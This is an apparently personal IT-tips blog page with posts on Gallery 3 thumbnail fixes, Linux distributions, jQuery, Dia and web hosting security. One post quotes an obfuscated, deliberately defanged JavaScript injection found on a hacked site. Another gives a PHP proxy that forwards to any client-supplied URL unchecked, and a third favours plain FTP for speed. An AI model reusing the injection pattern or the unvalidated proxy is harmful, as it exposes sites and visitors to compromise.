Skip to content


Gallery 3 Super-Large Thumbnails

Problem:
The G3 RC2 Gallery, in album view, displays random `thumbnails’ that are full sized. (e.g. the size of the real photo).

Cause
I am trialling Gallery 3 RC2 hosted on Dreamhost shared hosting.

I think the way Gallery 3 generates thumbnails is that it takes the full sized image from where it is stored for example $g3_root/var/albums/albumname/picture.jpg and using imagemagick or whichever graphic toolkit is available converts the full sized image to a thumbnail in $g3_root/var/thumbs/albumname/picture.jpg.

However on a shared hosting platform such as Dreamhost’s the webserver will kill any process that uses either too much RAM or CPU.

After noting the super-sized thumbnail issue and getting in contact with Dreamhost they informed me that my G3 installation was indeed having it’s processes killed because they were using too much RAM.

So G3 was transferring a full size image to the thumbs directory and before it has a chance to convert it to a thumbnail the process is being killed by the webserver. The effect of this was that I was getting full sized images in the thumbs directory.

Work-a-round
I have a temporary work-a-round (other than getting a Virtual Private Server account which has gauranteed protected resources) to convert the unfinished thumbnails to the correct size:

Firstly you need a shell account so you can log in and work stuff from the command line.

 
# you can find full sized images by doing a ls -alh and looking for extra-large images
 
# identify the size of a good thumbnail (here it's 150x113 pixels)
[mydhbox]$ identify IMGP0197.JPG
IMGP0197.JPG JPEG 150x113 150x113+0+0 DirectClass 8-bit 34.9336kb
 
# identify the size of the bad thumbnail (2304x3072 pixels)
[mydhbox]$ identify IMGP0201.JPG
IMGP0201.JPG JPEG 2304x3072 2304x3072+0+0 DirectClass 8-bit 661.613kb
 
# use mogrify to resize the huge thumbnail in-place.
[mydhbox]$ mogrify -resize 150x150  IMGP0201.JPG
 
# check it
[mydhbox]$ identify IMGP0201.JPG
IMGP0201.JPG JPEG 113x150 113x150+0+0 DirectClass 8-bit 36.4512kb
 
# or do it in one hit !!! 
# Be careful I'm not a great one line bash script writer and I haven't tested this for robustness
# if you run it in the wrong directory (other than $g3_root/var/thumbs) 
# you could resize your album photos and not the thumbnails
# it may bork your g3 installation
find . -type f | xargs  -IFILE identify -format "%d/%f:%h %w" "FILE" | grep -v 150 | cut -d: -f1 | xargs -IFILE mogrify -resize 150x150 "FILE"
 
# the above means
# find all files of type file in the current directory and below
# pipe the result to xargs and use identify to print out the directory/file and the height and width 
# using grep give me a list of any thumbnails that don't(-v) have one dimension of 150pixels
# you may need to adjust this so you have the correct thumbnail dimension for you gallery installation
# once you have a list of the large thumbnails cut the path/file and pipe it to xargs and mogrify to do an inplace resize

You also need to upudate the items table in the G3 database because the thumb_height and thumb_width values may be wrong also. Note:Don’t do this if you don’t have a good idea of what you are doing and backup your database before attempting this

 
/* WE SET THE LARGE THUMBS HEIGHT DIMENSION 
    BACK TO THE CORRECT LENGTH BUT ONLY
    IF IT'S THE LONGEST SIDE
    FOR EXAMPLE IF THE DB SAID THE THUMB 
    HEIGHT and WIDTH WAS 800 x 600
    SET THE THUMB_HEIGHT TO 150 BUT 
    ONLY IF THE HEIGHT IS LONGER THAN THE WIDTH
*/
 
UPDATE `items` SET `thumb_height` = 150 
WHERE `type` = 'photo' AND
`thumb_height` > `thumb_width` AND 
`thumb_height` > 150
 
/* NOW SET THE WIDTH OF THOSE THUMBS 
    WE HAVE JUST CHANGED TO THE CORRECT WIDTH VALUE */
UPDATE `items` SET `thumb_width` = 113 
WHERE `type` = 'photo' AND
`thumb_width` > 150 AND
`thumb_height` = 150
 
/* You may have to run a few more queries to get it fixed but that is left as an excercise for the reader */

Posted in IT Tips.


Encryption Overhead – Sometimes Good Ol’ FTP is the Answer

I just started copying some files from a Windows XP Pro VMWare VM to a Redhat 3.1 Server VM hosted on their own private network on a VMWare ESXi 4.x server.

Using WinSCP from the XP Pro Client with SSH as the transfer protocol I was seeing ~5,000KB/s. So I stopped the transfer and selected FTP as the transfer protocol and restarted the file transfer. The result: A transfer rate of ~20,000KB/s.

The point is, if you are not worried about someone sniffing your password and you would like a performance boost, falling back to a non-secure protocol can furnish you with significant file transfer performance gains.

Just sayin’.

Posted in IT Tips.


Roof Restoration

Our humble timber cottage has an old tin roof. We can’t afford to get it replaced at the moment but have gotten it pressure washed and painted in Shale Grey Colour.

So now we are waiting for Google Maps to update it’s satellite imaging to pick up the change.

Posted in House, House and Garden.

Tagged with .


Back to Ubuntu 10.04

I have for several months been giving Fedora 13 a go as my primary OS.

Fedora is what it is— A beta release for a product that will be rebadged and released when it’s finished.

As a distribution it’s not really playing in the same league as Ubuntu. The polish and completeness come when it becomes Redhat Enterprise version x.x. and at the same time it becomes… boring.

Ubuntu, despite it coming on the scene later than Fedora has pulled along side and has since surpassed Fedora.

I still think the system-config-foo style of admin tools are a great feature of the Redhatian distros and if you want to easily create an IPSec connection using the GUI then Fedora / RH has a great tool for that.

But in myriad other areas it feels clunky.

The Debian base of Ubuntu provides a richer software package ecosystem.

But that’s not always been the case. Remember when you went searching for Linux packages 5 or more years ago. The package maintainers had usually packaged up an RPM for RHx-9/Fedora and the rest of us could get the source and compile (or hope that the distro had a package for it)?

Now-a-days Ubuntu is the desktop distro of choice and this is reflected by the availability of a Ubuntu deb package as a first option on a lot of the open source program pages.

As proof of my point type in any error you get on your non-Ubuntu Linux Distro into Google and what is the predominant forum or site flavour returned in the results?

So in moving back to Ubuntu… I’m immediately more comfortable using my system again… Same features (let’s face it the different Distributions repackage all the same basic components [kernel,gnome,oo]), more polish, less time Googling to resolve technical glitches (except to transfer the Restore,Minimize,Close buttons back to the right side).

So Yay Ubuntu.

Posted in IT Tips.


Bluefish for Windows

Attempting to install Bluefish on Windows XP Pro SP3

I went here

http://code.google.com/p/bluefish-win/

Which sent me to here

http://sourceforge.net/projects/bluefish/files/

Which gave me a download link here

http://sourceforge.net/projects/bluefish/files/bluefish/2.0.0/Bluefish-2.0.0-1-setup.exe/download

So far so good…

Ran Bluefish-2.0.0-1-setup.exe

Which did the following:

Bluefish v2.0.0-1 Setup

Downloading gtk-runtime-2.14.7-rev.a.exe

Connecting…
GTK+ Download failed: download incomplete

http://internap.dl.sourceforge.net/project/pidgin/GTK%2B%…

It appears internap.dl.sourceforge.net is inaccessible at the moment. So…

Searched for gtk-runtime-2.14.7-rev.a.exe and downloaded it and installed separately

http://transact.dl.sourceforge.net/project/pidgin/GTK%2B%20for%20Windows/2.14.7%20Rev%20A/gtk-runtime-2.14.7-rev-a.exe

Then re-ran Bluefish-2.0.0-1-setup.exe and it works.

I must say the upgrade of Bluefish for Windows from 1.x to 2 is well worth it! Excellent improvements in Syntax highlighting, Auto complete and general useability

Posted in IT Tips.


Separate Websites should be run under separate User Accounts

If you have an account with a webhost which allows you to run multiple domains (or even `unlimited’ domains ala Dreamhost). You may be tempted to run multiple websites under the default account that is provided by the hosting company.

But while convenient, this has a pretty major security pitfall.

For example with my webhost If you run the default single user account on the webserver the layout for multiple domains on the server is something like this.

/home/username/www.yourdomain1.com
              /www.yourdomain2.com

The files in each website are owned and writeable by the one user and each site is served to the public using the same Apache process.

Therefore if a remote attacker uses an automated attack and compromises one website the exploit can loop up to the highest point they have write access to (the /home/username directory) and then down through the directory tree finding and appending malicious scripts or malware to each web servable page such as index.php, index.html etc.

A better setup is to create a new user account for each website that you create. And while it’s a pain to remember and safely store all the different passwords it reduces your risk of losing multiple sites to remote automated exploits. So the layout for multiple accounts on the webserver looks something like

/home/username1/www.yourdomain1.com
/home/username2/www.yourdomain2.com

Here is an example of what can get appended to your index files. In this case the index.php page generated it’s normal html output but after the closing </html> tag the attacker has placed a nasty little cross site scripting javascript it’s obsfuscated so you can’t read the code because the attacker want’s to hide the workings of the java script.

This particular exploit tried to contact twitter to get it’s commands from the 3v1l h@x0r controller. (I’ve added some random spaces hoping that I don’t get listed as hosting Malware from this code sample)

// attack code appended after last </html> tag
</html><sc ript lang uage="java script">var $a="Z63cZ3dZ225nZ2567Z2574h;iZ252b+)Z25 7bZ2574mpZ253dZ2564sZ252eslZ2569ce(Z2569,Z2569Z252b1)Z253bZ22;cdZ3dZ22st Z253dstZ252bSZ2574riZ256
.... [ many more lines of obsfucated javascript code here. And then follows the functions used to decode the obfuscated javascript and execute it ] ...
28v)Z2bZ27;expirZ65sZ3dZ27+exd.toGZ4dTSZ74Z72ingZ28);Z7d;";
 
var ez=window;
ez[S tring.from Char Code(101,118,97)+"l"](f ds()); 
fun ction a s d(s){
           r="";
               for(i=0;i<s.length;i++){
                  if(s.charAt(i)=="Z")
                         {s1="%"}
                        else
                         {s1=s.charAt(i)}
                  r=r+s1;
               } 
           return un esca pe(r);
}
func tion fds(){
            return a sd($a);
}
</script>

Needless to say if you put all your eggs (websites) in one basket one metaphorical boot (cracker) can break them all.

Note: As well as separating your websites to different user accounts. Remember to _regularly_ update your CMS software (e.g. WordPress, Joomla etc).

Posted in IT Tips.


jQuery .find() on a namespaced XML node fails on Google Chrome

Ran into a problem with a jQuery AJAX script that parses returned XML. It wouldn’t work on Google Chrome when looking for a namespaced xml node using jQuery.find().

Apparently this (xml namespaces) can cause jQuery some minor heartburn but it’s not a show stopper.

A namespaced nodename in XML has a name space prefix a colon then the node name. e.g.

<ns1:ld_part>65989</ns1:ld_part>

Basically namespace prefixes in XML stop collisions if two different coders want to refer to some thing with the same name

<!-- clash -->
<part>Us</part>
<part>Them</part>
<!-- happy co-existence  (same same but different!) -->
<us:part>Us</us:part>
<them:part>Them</them:part>

This Fails on Google Chrome:

 
// resp is XML passed from an ajax call to a server
success: function(resp){
	var jData = $( resp ); // jQueryise it
        var recordTop = jData.find("ns1\\:ld_det"); // search for the node
        // alert( recordTop.size()) returns 0 on Google Chrome

Success:

 
success: function(resp){
var jData = $( resp );
var recordTop = jData.find("[nodeName=ns1:ld_det]"); // this works on google chrome
// alert(recordTop.size()); returns the number of xml nodes boo yah!

This jQuery forum post provided the answer http://forum.jquery.com/topic/jquery-namespaces-xml-parsing-12-1-2010

Versions:

  • Google Chrome version 5.0.375.126 (Fedora 13)
  • jQuery JavaScript Library v1.4.2

Posted in IT Tips.


Fanboy Post Alert – Why can I run a secure modern operating system on a P4?

My home computer is a P4. P4′s are like 6+ years old. However it’s still suitable for what I use it for. In fact it’s performance has been improving of late. Why?

Linux is maturing and the people who are designing the entire GNU/Linux eco-system are optimizing.

Here are some recent improvements:

  • Openoffice starts in an appreciably quicker time than earlier versions (I would say it’s about 50% quicker but haven’t tested it personally)
  • Where I used to use XFCE to make my P4 system faster Gnome now seems to be less bloated and is perfectly OK for my needs.
  • The X server is at the point where it’s rare for it to quit and send you back to a login prompt
  • And the mainstays of the Linux desktop eco-system (GIMP, Inkscape, Scribus, OpenOffice etc) have enough tutorials on Youtube and elsewhere so you can spend 10 minutes and learn a new and useful technique or two
  • New Kids on the Block like Google Chrome shake up the likes of Firefox so they are all pushing to be snappier
  • Email? I can only recommend Thunderbird because Evolution is so buggy it should be pulled behind a horse. But TB is good
  • If you have used Linux for a while, when was the last time you had to search for a driver to get your system running? I seem to just put the disk in, and in half an hour I have the latest Linux installed and all the devices are recognized. Even my digital camera plugs and plays.

On the server front we are spoilt for choice. Each distribution publishes a server centric manual to allow you to create for the cost of your time and perhaps a Linux Admin Book (I like to learn in dead tree format).

Normally with Microsoft you pay 1000$+ for a Microsoft Small Business Server or similar license (oh and don’t forget once you pay 1000 dollars each connecting client needs a Client Access License 100$, A Pro Version OS License 300+, MS Office 400-700, Antivirus $80 per seat. But wait there’s more. How about some terminal services licenses another 100+ for each client, and a proprietary backup solution for 1500 + 500 per remote agent). Oh and you will need a new computer/s too 5000 for a decent low end server and 1500+ for each client.

Linux has all the functionality and yes it comes at a cost and that cost is time. Many of the applications still have rough edges. But as mentioned above the rate of improvement means I haven’t needed to use M$ at home for years. Everytime I think I have no option but use Microsoft software. Some other method of achieving the same result bubbles to the surface in the Opensource arena.

It’s not all time cost. I do pay for some Linux software QCAD rocks and is worth a license for the Pro Edition. FWbuilder rated a license for the Windows Edition (on Linux it’s free but it’s nice to have a cross platform firewall editor).

And it’s all running on a lowly P4.

Posted in GNU/Linux.


Dia – Joining Lines where they Cross over Each Other

Dia is a great Open Source diagramming program that has extensive `shape’ libraries for a lot of different applications (I use it for drawing network diagrams and flow-charts).

When using Dia one of the questions that arises fairly regularly is:

Is it possible to create a node at line crossing points? or at arbitrary position on a line?

The short answer is no.

In Dia you can’t join lines where they cross. Lines do have connection points by default. When you create a Line you get a Connection Point on both ends and one in the middle. When you right click the Line and add another Connection Point all the mid-line Connection Points are relocated so they are equi-distant along the line. You can’t join a mid-line connection point to another mid-line connection point. You can only join a line-end Connection Point to a mid-line Connection Point.

So to get a node at a line cross over point you need another technique. The answer was succinctly put on the Dia users mailing list:

Go to the “electric” symbols and find the crossed-wire terminator dot.
Use this at the end and/or start of a line to make a node that can be
resized and can be used to terminate lines or symbols. Other things
will snap to this node symbol.

Here is a graphic showing the use of the “Electric” shapes libraries “Connection Point” shape
Dia - Joining Lines where they Crossover Each Other

Dia - Joining Lines where they Crossover Each Other

The Dia Manual may help you too.

Posted in IT Tips, Open Source Apps.

Tagged with .


XML POST Proxy Script using PHP and libcurl

This is the simplest answer I could find for a client needing to POST an XML SOAP message to a server in another domain.

Not sure on the security because the POST isn’t validated so it just passes on whatever the client sends.

libcurl has a lot of options

 
<?php
 
#
#
// Make sure the user is posting
#
if ( $_SERVER['REQUEST_METHOD'] === 'POST' ) {
 
	// Read the POST input from stdin
	$postText = trim(file_get_contents('php://input'));
 
} else {
 
    exit("We only offer POST");
 
};
 
# The client needs to set a SOAPTarget header pointing to the URL of the Webservice you need
# in jquery you use the beforeSend: ajax option and create a function such as 
# function(xhr) { xhr.setRequestHeader( "SOAPTarget", "http://yourserver.com/your/webservice/endpoint") };
# 
	$url=$_SERVER['HTTP_SOAPTARGET'];
 
# start your curl session
	$session = curl_init($url);
 
# set the libcurl options
    curl_setopt ($session, CURLOPT_POST, true);
    curl_setopt ($session, CURLOPT_POSTFIELDS, $postText);
 
# soapaction  header _must_ be set
	curl_setopt ($session, CURLOPT_HTTPHEADER, array('SOAPAction: ""', 
                                                                                "Content-Type: text/xml"));
	curl_setopt($session, CURLOPT_HEADER, false);
	curl_setopt($session, CURLOPT_RETURNTRANSFER, true);
	curl_setopt($session, CURLOPT_FORBID_REUSE, 1);
	curl_setopt($session, CURLOPT_FRESH_CONNECT, 1); 
 
// Make the call and store the reply in $xml
	$xml = curl_exec($session);
 
 /* foreach($_SERVER as $h=>$v)
    if(ereg('HTTP_(.+)',$h,$hp))
      echo "<li>$h = $v</li>\n";;
*/
 
# tell the client to expect an xml reply
	header("Content-Type: text/xml");
 
# then send the the xml reply from the webservice
	echo $xml;
 
# close the session to free up resources
	curl_close($session);
 
/* This dumps all the session variables from PHP woo hoo! var_dump(get_defined_vars());  */
 
?>

Posted in IT Tips.

Tagged with , , .